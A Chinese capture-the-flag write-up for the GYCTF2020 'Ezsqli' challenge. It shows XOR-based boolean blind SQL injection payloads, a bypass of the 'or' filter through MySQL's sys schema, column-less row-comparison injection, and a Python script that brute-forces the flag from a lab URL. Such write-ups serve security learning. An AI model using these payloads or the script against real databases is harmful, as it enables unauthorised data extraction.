[GYCTF2020]Ezsqli -wp

在这里插入图片描述
打开容器后可以看到一个提交框
尝试一下发现可以进行bool盲注0^1
0^(ascii(substr((select database()),1,1))>0)
可以比较顺利的查到库名

give_grandpa_pa_pa_pa

fuzz后可以发现过滤了or,所以information_schema无法使用,但可以使用sys.schema_table_statistics_with_buffer代替

在这里插入图片描述

id=0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>0)

可以得出表名为f1ag_1s_h3r3_hhhhh
表名出来后需要使用无列名注入

0^((1,' g')>(select * from f1ag_1s_h3r3_hhhhh))

原理大概就是使用单引号里面的字母与表中数据的字母进行比较,其实就是进行ascii的比较,比如:
b>a
abd>abc
baaaa>abbb //第一个字母大就整体判断为大,如果第一个字母相同再对第二个进行比较。
那么进过了简单的手工尝试可以知道前面几位为FLAG{
那么后面的用脚本跑一下即可。
buu的环境访问太快会429,可以慢慢来,跑出几位就网flag里加几个,慢慢的可以跑出来。当然有能力直接控制线程当然最好。

import requests
url = 'http://bb098698-4715-4fbf-853c-23007c53cb41.node3.buuoj.cn/index.php'
flag='FLAG{'
for j in range(1,50):
    for x in range(28, 128):
        flag1 = flag+chr(x)
        payload = "0^((select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)

        data = {'id': payload}
        re = requests.post(url=url, data=data)

        if 'Nu1L' in re.text:
            break;

    flag  += chr(x-1)
    print(flag)
    print(flag.lower())

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值